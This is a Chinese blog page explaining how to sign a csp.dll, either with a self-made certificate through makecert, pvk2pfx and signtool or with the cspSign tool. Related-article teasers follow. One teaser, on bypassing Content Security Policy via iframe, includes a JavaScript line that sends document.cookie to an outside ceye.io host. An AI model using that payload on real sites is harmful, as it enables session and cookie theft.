dll签名两种方法

摘要:
以下两种签名方法适用于csp。dll签名不是由CA颁发的,其效果不同。首先,通过自建证书签名下载windows sdk。成功安装后,它包括makecert。exe,证书2spc。exe,pvk2pfx。exe和signtool。exe工具。放置csp。dll,并将cmd命令切换到工具文件夹。2: 下载cspdk后。exe签名并解压缩,放置cspSign。exe在system32。

以下两种签名方法,都是对csp.dll签名,都不是CA颁发的,且效果不同,
一:通过自建证书签名
下载windows sdk,成功安装后,包括makecert.exe, cert2spc.exe, pvk2pfx.exe, signtool.exe工具,将要签名的csp.dll也放入工具文件夹,cmd命令切换到工具文件夹。再运行以下命令
1.生成签名证书:
makecert -sv csp.pvk -r csp.cer -n “CN=mycompany”
会弹出设置password框,可设置为111111
2.创建发行者证书:
cert2spc csp.cer csp.spc
3.从pvk文件里导出pfx文件
pvk2pfx -pvk csp.pvk -pi 111111 -spc csp.spc -pfx csp.pfx -f
4.签名
signtool sign /f csp.pfx /p 111111 csp.dll
此时,右击csp.dll查看属性,添加了菜单, 数字签名。

二:下载cspdk.exe签名
解压后,将cspSign.exe放入system32下。命令行切换到system32下,将要签名的csp.dll也放入system32, 运行命令:cspSign s csp.dll csp.sig
此时,system32下会出现csp.sig签名文件

免责声明:文章转载自《dll签名两种方法》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇SQL Server查看所有表大小,所占空间Ubuntu18.04 搜狗输入法乱码下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Java的Maven项目的导入

csp_maven项目的拉取与导入。18年做过,然后当时项目是汪老板帮忙调的,也没记录。特此记录。 插曲: 相关技术博文:https://blog.csdn.net/qq_40961980/article/details/86236498(安装maven与查看maven版本) --------------------------- 正文分割线-----...

About Cryptography

Microsoft® Cryptography CSPs In Microsoft Windows, a Cryptographic Service Provider (CSP) is a software library that implements the Microsoft CryptoAPI (CAPI). Each CSP has a key...

CCF CSP 201403-2 窗口

CCF计算机职业资格认证考试题解系列文章为meelo原创,请务必以链接形式注明本文地址 CCF CSP 201403-2 窗口 问题描述 在某图形操作系统中,有 N 个窗口,每个窗口都是一个两边与坐标轴分别平行的矩形区域。窗口的边界上的点也属于该窗口。窗口之间有层次的区别,在多于一个窗口重叠的区域里,只会显示位于顶层的窗口里的内容。当你点击屏幕上一个点的时...

前端内容安全策略(csp)

什么是CSP CSP全称Content Security Policy ,可以直接翻译为内容安全策略,说白了,就是为了页面内容安全而制定的一系列防护策略. 通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。 有什么用? 我们知道...

NOIP(CSP)答题技巧&小细节

1.主函数类型 通常使用int main(),然而可以使用完全等价的signed main() 解锁 #define int long long  的操作 2.long long 的使用 数列长度/边数 * 最大点权爆掉int就要使用ll 注意使用long long的时候更改最大值 3.编译器配置 有的时候编译器能查出很多错 第一次安装Dev-c++编译器...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...